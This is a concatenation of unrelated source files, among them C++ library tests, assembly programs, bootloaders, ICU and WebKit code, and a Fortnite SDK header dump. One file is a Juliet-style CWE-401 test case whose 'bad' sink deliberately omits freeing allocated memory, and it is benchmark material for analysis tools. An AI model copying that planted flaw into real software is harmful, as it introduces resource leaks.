//===----------------------------------------------------------------------===// // // The LLVM Compiler Infrastructure // // This file is dual licensed under the MIT and the University of Illinois Open // Source Licenses. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // <string> // template<class charT, class traits, class Allocator> // bool operator<=(const basic_string<charT,traits,Allocator>& lhs, // const basic_string<charT,traits,Allocator>& rhs); #include <string> #include "tidystring.h" #include <cassert> #include "min_allocator.h" template <class S> void test(const S& lhs, const S& rhs, bool x) { assert((lhs <= rhs) == x); } int main() { { typedef tidy::string S; test(S(""), S(""), true); test(S(""), S("abcde"), true); test(S(""), S("abcdefghij"), true); test(S(""), S("abcdefghijklmnopqrst"), true); test(S("abcde"), S(""), false); test(S("abcde"), S("abcde"), true); test(S("abcde"), S("abcdefghij"), true); test(S("abcde"), S("abcdefghijklmnopqrst"), true); test(S("abcdefghij"), S(""), false); test(S("abcdefghij"), S("abcde"), false); test(S("abcdefghij"), S("abcdefghij"), true); test(S("abcdefghij"), S("abcdefghijklmnopqrst"), true); test(S("abcdefghijklmnopqrst"), S(""), false); test(S("abcdefghijklmnopqrst"), S("abcde"), false); test(S("abcdefghijklmnopqrst"), S("abcdefghij"), false); test(S("abcdefghijklmnopqrst"), S("abcdefghijklmnopqrst"), true); } #if __cplusplus >= 201103L { typedef tidy::basic_string<char, std::char_traits<char>, min_allocator<char>> S; test(S(""), S(""), true); test(S(""), S("abcde"), true); test(S(""), S("abcdefghij"), true); test(S(""), S("abcdefghijklmnopqrst"), true); test(S("abcde"), S(""), false); test(S("abcde"), S("abcde"), true); test(S("abcde"), S("abcdefghij"), true); test(S("abcde"), S("abcdefghijklmnopqrst"), true); test(S("abcdefghij"), S(""), false); test(S("abcdefghij"), S("abcde"), false); test(S("abcdefghij"), S("abcdefghij"), true); test(S("abcdefghij"), S("abcdefghijklmnopqrst"), true); test(S("abcdefghijklmnopqrst"), S(""), false); test(S("abcdefghijklmnopqrst"), S("abcde"), false); test(S("abcdefghijklmnopqrst"), S("abcdefghij"), false); test(S("abcdefghijklmnopqrst"), S("abcdefghijklmnopqrst"), true); } #endif }
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE401_Memory_Leak__wchar_t_malloc_82_bad.cpp Label Definition File: CWE401_Memory_Leak.c.label.xml Template File: sources-sinks-82_bad.tmpl.cpp */ /* * @description * CWE: 401 Memory Leak * BadSource: malloc Allocate data using malloc() * GoodSource: Allocate data on the stack * Sinks: * GoodSink: call free() on data * BadSink : no deallocation of data * Flow Variant: 82 Data flow: data passed in a parameter to an virtual method called via a pointer * * */ #ifndef OMITBAD #include "std_testcase.h" #include "CWE401_Memory_Leak__wchar_t_malloc_82.h" namespace CWE401_Memory_Leak__wchar_t_malloc_82 { void CWE401_Memory_Leak__wchar_t_malloc_82_bad::action(wchar_t * data) { /* POTENTIAL FLAW: No deallocation */ ; /* empty statement needed for some flow variants */ } } #endif /* OMITBAD */
; A139125: a(0) = 0; a(n) = a(n-1) + binomial( n(n+1)/2, n) mod n. ; Submitted by Jon Maiga ; 0,1,3,5,8,8,12,16,21,21,27,34,41,41,50,58,67,67,77,77,80,80,92,98,111,124,129,129,144,148,164,180,204,204,224,236,255,255,259,297,318,318,340,362,392,392,416,428,453,478,496,496,523,523,568,619,670,670,700 mov $2,$0 mov $3,$0 lpb $3 mov $0,$2 sub $3,1 sub $0,$3 add $0,1 mov $1,1 add $1,$0 bin $1,2 bin $1,$0 mod $1,$0 add $4,$1 lpe mov $0,$4
; Produce text to label a clicked item, substituting the item's weight or ; bulk in place of its name if the Shift key or Ctrl key, respectively, is held. ; ; The original game did not reveal any information about the bulk of items to ; the player other than by blocking attempts to place items inside of containers ; having insufficient space. [bits 16] startPatch EXE_LENGTH, eop-produceItemLabelText startBlockAt addr_eop_produceItemLabelText push bp mov bp, sp ; bp-based stack frame: %assign arg_itemLabelType 0x08 %assign arg_ibo 0x06 %assign arg_pn_string 0x04 %assign ____callerIp 0x02 %assign ____callerBp 0x00 %assign var_itemType -0x02 %assign var_itemFrame -0x04 %assign var_itemQuantity -0x06 %assign var_valueOfItem -0x08 %assign var_valueOfContents -0x0A %assign var_capacityOfItem -0x0C %assign var_valueString -0x0E %assign var_valueLength -0x10 %assign var_templateVarCount -0x12 %assign var_templateBuffer -0x62 add sp, var_templateBuffer push si push di ; get type mov es, word [dseg_itemBufferSegment] mov bx, [bp+arg_ibo] mov ax, [es:bx+4] and ax, 0x3FF mov [bp+var_itemType], ax ; truncate string before doing anything else mov bx, [bp+arg_pn_string] mov byte [bx], 0 mov byte [bx+79], 0 mov ax, [bp+arg_itemLabelType] cmp ax, ItemLabelType_NAME jz produceItemNameText cmp ax, ItemLabelType_WEIGHT jz produceWeightText cmp ax, ItemLabelType_BULK jz produceBulkText jmp procEnd weightString db 'weight', 0 bulkString db 'bulk', 0 itemTemplate db ': %d.%d', 0 itemContentsTemplate db ': %d.%d (contents: %d.%d)', 0 itemContentsCapacityTemplate db ': %d.%d (contents: %d.%d of %d.%d)', 0 contentsTemplate db ' of contents: %d.%d', 0 produceWeightText: lea ax, [bp+arg_ibo] push ax callFromOverlay Item_getWeight pop cx mov word [bp+var_valueOfItem], ax lea ax, [bp+arg_ibo] push ax callFromOverlay determineWeightOfContents pop cx mov word [bp+var_valueOfContents], ax cmp word [bp+var_valueOfItem], 0 jz dontIncludeWeightOfContents add word [bp+var_valueOfItem], ax dontIncludeWeightOfContents: mov word [bp+var_capacityOfItem], 0 mov si, offsetInCodeSegment(weightString) mov cx, 6 jmp haveValues produceBulkText: push word [bp+arg_ibo] callVarArgsEopFromOverlay determineItemBulk, 1 pop cx mov word [bp+var_valueOfItem], ax lea ax, [bp+arg_ibo] push ax callFromOverlay determineBulkOfContents pop cx mov word [bp+var_valueOfContents], ax push word [bp+var_itemType] callFromOverlay getItemTypeBulk pop cx mov word [bp+var_capacityOfItem], ax mov si, offsetInCodeSegment(bulkString) mov cx, 4 haveValues: mov word [bp+var_valueLength], cx ; copy value string from code segment into stack lea di, [bp+var_templateBuffer] fmemcpy ss, di, cs, si, cx mov word [bp+var_templateVarCount], 0 %macro pushDiv10 1 mov ax, %1 mov dl, 10 div dl movzx cx, ah push cx inc word [bp+var_templateVarCount] mov cl, al push cx inc word [bp+var_templateVarCount] %endmacro cmp word [bp+var_valueOfItem], 0 jnz haveItem cmp word [bp+var_valueOfContents], 0 jz procEnd mov si, offsetInCodeSegment(contentsTemplate) pushDiv10 word [bp+var_valueOfContents] jmp applyTemplate haveItem: cmp word [bp+var_valueOfContents], 0 jnz haveItemAndContents mov si, offsetInCodeSegment(itemTemplate) pushDiv10 word [bp+var_valueOfItem] jmp applyTemplate haveItemAndContents: cmp word [bp+var_capacityOfItem], 0 jnz haveItemAndContentsAndCapacity mov si, offsetInCodeSegment(itemContentsTemplate) pushDiv10 word [bp+var_valueOfContents] pushDiv10 word [bp+var_valueOfItem] jmp applyTemplate haveItemAndContentsAndCapacity: mov si, offsetInCodeSegment(itemContentsCapacityTemplate) pushDiv10 word [bp+var_capacityOfItem] pushDiv10 word [bp+var_valueOfContents] pushDiv10 word [bp+var_valueOfItem] applyTemplate: mov cx, 80 sub cx, [bp+var_valueLength] ; copy template from code segment into stack lea di, [bp+var_templateBuffer] add di, [bp+var_valueLength] fmemcpy ss, di, cs, si, cx sprintfTemplate: lea ax, [bp+var_templateBuffer] push ax push word [bp+arg_pn_string] callFromOverlay sprintf pop cx pop cx mov ax, [bp+var_templateVarCount] shl ax, 1 add sp, ax jmp procEnd produceItemNameText: ; get frame mov es, word [dseg_itemBufferSegment] mov bx, [bp+arg_ibo] mov ax, [es:bx+4] and ax, 0x7C00 shr ax, 10 mov [bp+var_itemFrame], ax ; get quantity mov ax, [bp+var_itemType] mov dx, 3 imul dx mov bx, ax mov al, [dseg_itemTypeInfo+1+bx] and ax, 0xF cmp ax, 3 jnz itemTypeHasNoQuantity lea ax, [bp+arg_ibo] push ax callFromOverlay Item_getQuantity pop cx mov word [bp+var_itemQuantity], ax jmp haveQuantity itemTypeHasNoQuantity: mov word [bp+var_itemQuantity], 0 haveQuantity: callProduceItemDisplayName procEnd: pop di pop si mov sp, bp pop bp retn endBlockAt off_eop_produceItemLabelText_end endPatch
TEST START 1000 FIRST STA SHELLAD .FIRST STA RETADR CLOOP JSUB RDREC LDA LENGTH COMP ONE JEQ ENDFIL JSUB WRREC J CLOOP ENDFIL LDA EOF STA BUFFER LDA THREE STA LENGTH JSUB WRREC LDL SHELLAD . LDL RETADR . HLT RSUB EOF BYTE C'EOF' THREE WORD 3 ZERO WORD 0 ONE WORD 1 FIVE WORD 5 SHELLAD RESW 1 .RETADR RESW 1 LENGTH RESW 1 BUFFER RESB 4096 . . SUBROUTINE TO READ RECORD INTO BUFFER . RDREC LDX ZERO LDA ZERO RLOOP TD INPUT JEQ RLOOP RD INPUT COMP FIVE JLT EXIT STCH BUFFER,X TIX MAXLEN JLT RLOOP EXIT STCH BUFFER,X STX LENGTH LDA LENGTH ADD ONE STA LENGTH RSUB INPUT BYTE X'F4' MAXLEN WORD 4096 . . SUBROUTINE TO WRITE RECORD FROM BUFFER . WRREC LDX ZERO WLOOP TD OUTPUT JEQ WLOOP LDCH BUFFER,X WD OUTPUT TIX LENGTH JLT WLOOP RSUB OUTPUT BYTE X'06' END FIRST
/* Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies) This library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with this library; see the file COPYING.LIB. If not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #include "config.h" #include "FrameNetworkingContextQt.h" #include "qwebframe.h" #include "qwebpage.h" #include <QNetworkAccessManager> #include <QObject> namespace WebCore { FrameNetworkingContextQt::FrameNetworkingContextQt(Frame* frame, QObject* originatingObject, bool mimeSniffingEnabled, QNetworkAccessManager* networkAccessManager) : FrameNetworkingContext(frame) , m_originatingObject(originatingObject) , m_networkAccessManager(networkAccessManager) , m_mimeSniffingEnabled(mimeSniffingEnabled) { } PassRefPtr<FrameNetworkingContextQt> FrameNetworkingContextQt::create(Frame* frame, QObject* originatingObject, bool mimeSniffingEnabled, QNetworkAccessManager* networkAccessManager) { return adoptRef(new FrameNetworkingContextQt(frame, originatingObject, mimeSniffingEnabled, networkAccessManager)); } QObject* FrameNetworkingContextQt::originatingObject() const { return m_originatingObject; } QNetworkAccessManager* FrameNetworkingContextQt::networkAccessManager() const { return (qobject_cast<QWebFrame*>(m_originatingObject))->page()->networkAccessManager(); } bool FrameNetworkingContextQt::mimeSniffingEnabled() const { return m_mimeSniffingEnabled; } }
; A062783: a(n) = 3*n*(4*n-1). ; 0,9,42,99,180,285,414,567,744,945,1170,1419,1692,1989,2310,2655,3024,3417,3834,4275,4740,5229,5742,6279,6840,7425,8034,8667,9324,10005,10710,11439,12192,12969,13770,14595,15444,16317,17214,18135,19080 mov $1,$0 mul $1,12 sub $1,3 mul $0,$1
;------------------------------------------------------------------------------ ;-- Bootloader para Simplez ;------------------------------------------------------------------------------ ;-- (c) BQ. January 2016. Written by Juan Gonzalez (obijuan) ;------------------------------------------------------------------------------ ;-- El protocolo de comunicacion entre el PC y simplez es el siguiente: ;-- ;-- Al arrancar, simplez ejecuta este bootloader ;-- Simplez envia el caracter BREADY al PC (transmision serie) para informar ;-- que el bootloader esta listo para recibir un programa ;-- ;-- El PC envia el tamaño del programa a cargar, en una palabra de simplez ;-- (12 bits) Se envia dividida en 2 bytes: primero el byte de mayor peso, ;;-- y luego el de menor ;-- ;-- A continuacion se envían todas las palabras con los datos / instrucciones ;-- que se almacenan SECUENCIALMENTE a partir de la direccion inicial de carga ;-- (40h) Cada dato es de 12 bits, por lo que se envía en 2 bytes (primero el ;-- alto y luego el bajo) ;------------------------------------------------------------------------------ ;-- LOS PROGRAMAS A CARGAR DEBEN EMPEZAR A PARTIR DE LA DIRECCION 40h ;------------------------------------------------------------------------------ ;-- Direccion de inicio de carga de los programas INI EQU h'40 ;--------------------------------------------------- ;-- Constantes para acceso a PERIFERICOS ;--------------------------------------------------- LEDS EQU 507 ;-- Periferico: LEDS TXSTATUS EQU 508 ;-- 508: Registro de estado pantalla TXDATA EQU 509 ;-- 509: Registro de datos pantalla RXSTATUS EQU 510 ;-- 510: Registro de estado teclado RXDATA EQU 511 ;-- 511: Registro de datos teclado Wait ;-- Inicio: esperar 200ms LD /F ;-- Encender todos los leds para indicar modo bootloader ST /LEDS LD /DESTC ;-- Inicializar la direccion destino, donde cargar ST /dest ;-- el programa ;-- Enviar caracter "B" para indicar que bootloader listo txloop LD /TXSTATUS ;-- Esperar a que pantalla lista BZ /txloop LD /BREADY ST /TXDATA ;-- Enviar caracter B ;--- Leer el tamano del programa, llamando a read_byte() ;--- tam = read_word() LD /br_template ADD /ret_addr_p1 ST /br_ret BR /read_word ret_addr1 ST /tam ;-- Bucle de recepcion del programa. Se esperan recibir tam palabras ;-- (de 2 bytes) que se almacenaran a partir de la direccion INI ;--- data = read_word() prog_loop LD /br_template ADD /ret_addr_p2 ST /br_ret BR /read_word ret_addr2 ST /inst ;-- Esta instruccion se modifica para almacenar la instrucciones ;-- recibida en la siguiente posicion de memoria dest ST /INI ;-- Almacenar la instruccion LD /tam DEC ;-- Un byte menos por recibir BZ /fin ;-- Fin de la carga ST /tam ;-- Actualizar bytes restantes ;-- Incrementar la direccion de destino LD /dest ADD /UNO ST /dest ;-- [dest] = [dest] + 1 BR /prog_loop ;-- Siguiente palabra fin BR /INI ;-- Ejecutar el programa! F DATA h'0f ;-- Dato a sacar por los leds al comenzar el bootloader BREADY DATA "B" ;-- Caracter para indicar bootloader listo tam RES 1 ;-- Tamaño del programa a cargar inst RES 1 ;-- Instruccion DESTC ST /INI ;-- Inicializacion de la direccion destino UNO DATA 1 ;-- Constante 1. Para incrementar ;------------------------------------------------------------------------------ ;-- Subrutina: read_word() ;------------------------------------------------------------------------------ ;-- Leer por el puerto serie 2 bytes y convertilos a una palabra ;-- A = byteh * 256 + bytel ;-- Primero se recibe el byte mas significativo (byteh) y luego el menor ;-- (bytel) ;-- ;-- DEVUELVE: ;-- -El registro A contiene el valor de vuelta, con la palabra leida ;------------------------------------------------------------------------------ read_word LD /RXSTATUS BZ /read_word ;-- Leer caracter LD /RXDATA ;-- Alcacenar caracter recibido ST /byteh ;-- Inicializar contador de bits a 8 LD /k8 ST /shift_count ;-- Multiplicar por 256 para desplazarlo 8 bits a la izquierda shift_loop LD /byteh ADD /byteh ; A = byteh + byteh = 2 * byteh. Desplazamiento ST /byteh ; de un bit a la izquierda LD /shift_count DEC BZ /rxl2 ST /shift_count BR /shift_loop ;-- Leer la palabra menos significativa rxl2 LD /RXSTATUS BZ /rxl2 ;-- Leer caracter (taml) LD /RXDATA ADD /byteh br_ret BR /0 ;-- Retorno de subrutina (la instruccion se modifica) shift_count RES 1 k8 DATA 8 ;-- Constante 8 br_template BR /0 ;-- Instruccion BR. Para usarla como ret de las subrutinas ret_addr_p1 DATA ret_addr1 ;-- Puntero a la direccion ret_addr1 ret_addr_p2 DATA ret_addr2 ;-- Puntero a la direccion ret_addr2 byteh RES 1 ;-- Byte alto del tamaño end
#pragma once // Fortnite (1.8) SDK #ifdef _MSC_VER #pragma pack(push, 0x8) #endif namespace SDK { //--------------------------------------------------------------------------- //Classes //--------------------------------------------------------------------------- // BlueprintGeneratedClass ToiletFactory_Frame_05.ToiletFactory_Frame_05_C // 0x0008 (0x10D8 - 0x10D0) class AToiletFactory_Frame_05_C : public ABuildingContainer { public: struct FPointerToUberGraphFrame UberGraphFrame; // 0x10D0(0x0008) (Transient, DuplicateTransient) static UClass* StaticClass() { static auto ptr = UObject::FindClass("BlueprintGeneratedClass ToiletFactory_Frame_05.ToiletFactory_Frame_05_C"); return ptr; } void UserConstructionScript(); void OnLoot(); void OnLootRepeat(); void OnBeginSearch(); void ExecuteUbergraph_ToiletFactory_Frame_05(int EntryPoint); }; } #ifdef _MSC_VER #pragma pack(pop) #endif
; A036679: a(n) = n^n - n!. ; Submitted by Christian Krause ; 0,0,2,21,232,3005,45936,818503,16736896,387057609,9996371200,285271753811,8915621446656,302868879571453,11111919647266816,437892582706491375,18446723150919663616,827239906198908668177,39346401672922831847424,1978419534015213180291979,104857597567097991823360000,5842586967295040349671684421,341427876240218829619039043584,20880467973995895295470056270567,1333735776229835722715842033483776,88817841954501313190559547463265625,6156119579803865849670068652816203776 mov $2,$0 pow $2,$0 seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters). sub $2,$0 mov $0,$2
[org 0x7c00] KernOffs equ 0x7e00 Start: ; Точка входа mov [BootDisk], dl ; Запоминаем устройство, с которого загрузились mov bx, 0x8fc0 ; Настраиваем стэк: 0x9fc00 - 0x10 == 0x9fbf0 == 0x8fc0:fff0 mov ss, bx mov bp, 0xfff0 mov sp, bp mov bx, RealModeStr ; Выводим сообщение call WriteLine call LoadKernel ; Грузим ядро в оперативку call EnterProMode ; Уходим в защищённый режим LoadKernel: mov bx, LoadKernStr ; Выводим сообщение call WriteLine mov bx, KernOffs ; По "этому" адресу... mov dh, 31 ; ...необходимо прочитать 31 сектор... mov dl, [BootDisk] ; ...с "этого" устройства. call DiskLoad ; Грузим! ret %include "disk.asm" ; Утилиты для работы с диском %include "print.asm" ; Утилиты для печати %include "protected.asm" ; Утилиты для перехода в защищённый режим %include "gdt.asm" ; GDT для перехода в защищённый режим [bits 32] StartProMode: ; Точка входа в защищённый режим mov ebx, ProtModeStr ; Выводим сообщение call WriteProt call 0x7e00 ; Передаём управление ядру jmp $ BootDisk: db 0 RealModeStr: db 'In real mode', 0 LoadKernStr: db 'Loading kernel', 0 ProtModeStr: db 'In protected mode', 0 times 510-($-$$) db 0 dw 0xaa55
// Tests that mixing types can synthesize a fragment correctly // Commodore 64 PRG executable file .file [name="type-mix.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .segment Code main: { .label SCREEN = $400 .label w = 2 ldx #0 txa sta.z w sta.z w+1 __b1: // w = w - 12 lda.z w sec sbc #$c sta.z w lda.z w+1 sbc #>$c sta.z w+1 // BYTE0(w) lda.z w // SCREEN[i] = BYTE0(w) sta SCREEN,x // for (byte i: 0..10) inx cpx #$b bne __b1 // } rts }
; A214630: a(n) is the reduced numerator of 1/4 - 1/A109043(n)^2 = (1 - 1/A026741(n)^2)/4. ; -1,0,0,2,3,6,2,12,15,20,6,30,35,42,12,56,63,72,20,90,99,110,30,132,143,156,42,182,195,210,56,240,255,272,72,306,323,342,90,380,399,420,110,462,483,506,132,552,575,600,156,650,675,702,182,756,783,812,210,870,899,930,240,992,1023,1056,272,1122,1155,1190,306,1260,1295,1332,342,1406,1443,1482,380,1560,1599,1640,420,1722,1763,1806,462,1892,1935,1980,506,2070,2115,2162,552,2256,2303,2352,600,2450 pow $0,2 dif $0,4 sub $0,1 dif $0,4
// © 2016 and later: Unicode, Inc. and others. // License & terms of use: http://www.unicode.org/copyright.html /* ********************************************************************** * Copyright (C) 2001-2011, International Business Machines * Corporation and others. All Rights Reserved. ********************************************************************** * Date Name Description * 06/07/01 aliu Creation. ********************************************************************** */ #include "unicode/utypes.h" #if !UCONFIG_NO_TRANSLITERATION #include "unicode/unifilt.h" #include "unicode/uchar.h" #include "unicode/uniset.h" #include "unicode/utf16.h" #include "cmemory.h" #include "name2uni.h" #include "patternprops.h" #include "uprops.h" #include "uinvchar.h" #include "util.h" U_NAMESPACE_BEGIN UOBJECT_DEFINE_RTTI_IMPLEMENTATION(NameUnicodeTransliterator) static const UChar OPEN[] = {92,78,126,123,126,0}; // "\N~{~" static const UChar OPEN_DELIM = 92; // '\\' first char of OPEN static const UChar CLOSE_DELIM = 125; // '}' static const UChar SPACE = 32; // ' ' U_CDECL_BEGIN // USetAdder implementation // Does not use uset.h to reduce code dependencies static void U_CALLCONV _set_add(USet *set, UChar32 c) { uset_add(set, c); } // These functions aren't used. /*static void U_CALLCONV _set_addRange(USet *set, UChar32 start, UChar32 end) { ((UnicodeSet *)set)->add(start, end); } static void U_CALLCONV _set_addString(USet *set, const UChar *str, int32_t length) { ((UnicodeSet *)set)->add(UnicodeString((UBool)(length<0), str, length)); }*/ U_CDECL_END /** * Constructs a transliterator with the default delimiters '{' and * '}'. */ NameUnicodeTransliterator::NameUnicodeTransliterator(UnicodeFilter* adoptedFilter) : Transliterator(UNICODE_STRING("Name-Any", 8), adoptedFilter) { UnicodeSet *legalPtr = &legal; // Get the legal character set USetAdder sa = { (USet *)legalPtr, // USet* == UnicodeSet* _set_add, NULL, // Don't need _set_addRange NULL, // Don't need _set_addString NULL, // Don't need remove() NULL }; uprv_getCharNameCharacters(&sa); } /** * Destructor. */ NameUnicodeTransliterator::~NameUnicodeTransliterator() {} /** * Copy constructor. */ NameUnicodeTransliterator::NameUnicodeTransliterator(const NameUnicodeTransliterator& o) : Transliterator(o), legal(o.legal) {} /** * Assignment operator. */ /*NameUnicodeTransliterator& NameUnicodeTransliterator::operator=( const NameUnicodeTransliterator& o) { Transliterator::operator=(o); // not necessary: the legal sets should all be the same -- legal=o.legal; return *this; }*/ /** * Transliterator API. */ NameUnicodeTransliterator* NameUnicodeTransliterator::clone() const { return new NameUnicodeTransliterator(*this); } /** * Implements {@link Transliterator#handleTransliterate}. */ void NameUnicodeTransliterator::handleTransliterate(Replaceable& text, UTransPosition& offsets, UBool isIncremental) const { // The failure mode, here and below, is to behave like Any-Null, // if either there is no name data (max len == 0) or there is no // memory (malloc() => NULL). int32_t maxLen = uprv_getMaxCharNameLength(); if (maxLen == 0) { offsets.start = offsets.limit; return; } // Accommodate the longest possible name ++maxLen; // allow for temporary trailing space char* cbuf = (char*) uprv_malloc(maxLen); if (cbuf == NULL) { offsets.start = offsets.limit; return; } UnicodeString openPat(TRUE, OPEN, -1); UnicodeString str, name; int32_t cursor = offsets.start; int32_t limit = offsets.limit; // Modes: // 0 - looking for open delimiter // 1 - after open delimiter int32_t mode = 0; int32_t openPos = -1; // open delim candidate pos UChar32 c; while (cursor < limit) { c = text.char32At(cursor); switch (mode) { case 0: // looking for open delimiter if (c == OPEN_DELIM) { // quick check first openPos = cursor; int32_t i = ICU_Utility::parsePattern(openPat, text, cursor, limit); if (i >= 0 && i < limit) { mode = 1; name.truncate(0); cursor = i; continue; // *** reprocess char32At(cursor) } } break; case 1: // after open delimiter // Look for legal chars. If \s+ is found, convert it // to a single space. If closeDelimiter is found, exit // the loop. If any other character is found, exit the // loop. If the limit is reached, exit the loop. // Convert \s+ => SPACE. This assumes there are no // runs of >1 space characters in names. if (PatternProps::isWhiteSpace(c)) { // Ignore leading whitespace if (name.length() > 0 && name.charAt(name.length()-1) != SPACE) { name.append(SPACE); // If we are too long then abort. maxLen includes // temporary trailing space, so use '>'. if (name.length() > maxLen) { mode = 0; } } break; } if (c == CLOSE_DELIM) { int32_t len = name.length(); // Delete trailing space, if any if (len > 0 && name.charAt(len-1) == SPACE) { --len; } if (uprv_isInvariantUString(name.getBuffer(), len)) { cbuf[0] = 0; name.extract(0, len, cbuf, maxLen, US_INV); UErrorCode status = U_ZERO_ERROR; c = u_charFromName(U_EXTENDED_CHAR_NAME, cbuf, &status); if (U_SUCCESS(status)) { // Lookup succeeded // assert(U16_LENGTH(CLOSE_DELIM) == 1); cursor++; // advance over CLOSE_DELIM str.truncate(0); str.append(c); text.handleReplaceBetween(openPos, cursor, str); // Adjust indices for the change in the length of // the string. Do not assume that str.length() == // 1, in case of surrogates. int32_t delta = cursor - openPos - str.length(); cursor -= delta; limit -= delta; // assert(cursor == openPos + str.length()); } } // If the lookup failed, we leave things as-is and // still switch to mode 0 and continue. mode = 0; openPos = -1; // close off candidate continue; // *** reprocess char32At(cursor) } // Check if c is a legal char. We assume here that // legal.contains(OPEN_DELIM) is FALSE, so when we abort a // name, we don't have to go back to openPos+1. if (legal.contains(c)) { name.append(c); // If we go past the longest possible name then abort. // maxLen includes temporary trailing space, so use '>='. if (name.length() >= maxLen) { mode = 0; } } // Invalid character else { --cursor; // Backup and reprocess this character mode = 0; } break; } cursor += U16_LENGTH(c); } offsets.contextLimit += limit - offsets.limit; offsets.limit = limit; // In incremental mode, only advance the cursor up to the last // open delimiter candidate. offsets.start = (isIncremental && openPos >= 0) ? openPos : cursor; uprv_free(cbuf); } U_NAMESPACE_END #endif /* #if !UCONFIG_NO_TRANSLITERATION */
// Copyright (c) 2017 Victhor S. Sartorio. All rights reserved. // Licensed under the MIT License. See LICENSE file in the project root. #include "code.hpp" #include "error.hpp" #include "args.hpp" // Empty constructor Code::Code() : code(std::vector<var>()), data(std::vector<std::string>()), entry_point(-1) {}; // Append an instruction to the code void Code::push_op(op o) { code.push_back(var(o)); } // Append an integer to the code void Code::push_int(int64_t i) { code.push_back(var(i)); } // Append a floating point value to the code void Code::push_float(double f) { code.push_back(var(f)); } // Add a shortcut to access the data member var& Code::operator[](int idx) { return code[idx]; } var Code::operator[](int idx) const { return code[idx]; } // Add a shortcut to get data size size_t Code::size() const { return code.size(); } int display_line(std::ostream& o, const Code& c, int it) { switch (c[it].as_op()) { case op::halt: o << c[it].as_op(); it++; break; case op::noop: o << c[it].as_op(); it++; break; case op::mov: o << c[it].as_op() << '\t'; it++; o << c[it].as_int() << '\t'; it++; o << c[it].as_int(); it++; break; case op::push: o << c[it].as_op() << '\t'; it++; o << c[it].as_int(); it++; break; case op::pop: o << c[it].as_op() << '\t'; it++; o << c[it].as_int(); it++; break; case op::inc: o << c[it].as_op() << '\t'; it++; o << c[it].as_int(); it++; break; case op::dec: o << c[it].as_op() << '\t'; it++; o << c[it].as_int(); it++; break; case op::add: o << c[it].as_op() << '\t'; it++; o << c[it].as_int() << '\t'; it++; o << c[it].as_int(); it++; break; case op::sub: o << c[it].as_op() << '\t'; it++; o << c[it].as_int() << '\t'; it++; o << c[it].as_int(); it++; break; case op::mul: o << c[it].as_op() << '\t'; it++; o << c[it].as_int() << '\t'; it++; o << c[it].as_int(); it++; break; case op::div: o << c[it].as_op() << '\t'; it++; o << c[it].as_int() << '\t'; it++; o << c[it].as_int(); it++; break; case op::mod: o << c[it].as_op() << '\t'; it++; o << c[it].as_int() << '\t'; it++; o << c[it].as_int(); it++; break; case op::cil: o << c[it].as_op() << '\t'; it++; o << c[it].as_int() << '\t'; it++; o << c[it].as_int(); it++; break; case op::cfl: o << c[it].as_op() << '\t'; it++; o << c[it].as_float() << '\t'; it++; o << c[it].as_int(); it++; break; case op::ods: o << c[it].as_op() << '\t'; it++; o << c[it].as_int(); it++; break; case op::ofv: o << c[it].as_op() << '\t'; it++; o << c[it].as_int(); it++; break; case op::onl: o << c[it].as_op(); it++; break; case op::iiv: o << c[it].as_op() << '\t'; it++; o << c[it].as_int(); it++; break; case op::ifv: o << c[it].as_op() << '\t'; it++; o << c[it].as_int(); it++; break; case op::ipf: o << c[it].as_op() << '\t'; it++; o << c[it].as_int(); it++; break; case op::cmp: o << c[it].as_op() << '\t'; it++; o << c[it].as_int() << '\t'; it++; o << c[it].as_int(); it++; break; case op::cmpz: o << c[it].as_op() << '\t'; it++; o << c[it].as_int(); it++; break; case op::jmp: o << c[it].as_op() << '\t'; it++; o << c[it].as_int(); it++; break; case op::jgt: o << c[it].as_op() << '\t'; it++; o << c[it].as_int(); it++; break; case op::jeq: o << c[it].as_op() << '\t'; it++; o << c[it].as_int(); it++; break; case op::jlt: o << c[it].as_op() << '\t'; it++; o << c[it].as_int(); it++; break; case op::call: o << c[it].as_op() << '\t'; it++; o << c[it].as_int(); it++; break; case op::ret: o << c[it].as_op(); it++; break; } return it; } // Pretty prints the code to stdout std::ostream &operator<<(std::ostream &o, const Code &c) { size_t it = 0; if (dtvm_args::show_data) { o << "SECTION data\n" << std::endl; for (size_t i = 0; i < c.data.size(); i++) o << i << ":\n" << c.data[i] << std::endl; o << "\nSECTION code" << std::endl; } while (true) { if (it >= c.size()) { o << std::endl; return o; } o << '\n' << it << ":\t"; if (c[it].get_type() != var_type::operation) { std::cerr << Error() << "Tried to display a non-op as op at " << it << std::endl; } it = display_line(o, c, it); } }
; ; z88dk RS232 Function ; ; OSCA version ; ; unsigned char rs232_params(unsigned char param, unsigned char parity) ; ; Specify the serial interface parameters ; ; $Id: rs232_params.asm,v 1.3 2016/06/23 20:15:37 dom Exp $ SECTION code_clib PUBLIC rs232_params PUBLIC _rs232_params INCLUDE "osca.def" rs232_params: _rs232_params: pop bc pop hl pop de push de push hl push bc ; ; handle parity xor a cp l jr nz,parityset ; no parity ? ld hl,1 ; RS_ERR_NOT_INITIALIZED ret ; sorry, MARK/SPACE options ; not available parityset: ; handle bits number ld a,$f0 ; mask bit related flags and l jr z,noextra ld hl,1 ; RS_ERR_NOT_INITIALIZED ret noextra: ; baud rate ld a,$0f and e cp $0d jr z,avail cp $0e jr z,avail ld hl,3 ; RS_ERR_BAUD_NOT_AVAIL ret avail: sub $0d ; 0=57600; 1=115200 out (sys_baud_rate),a ld hl,0 ; RS_ERR_OK ret
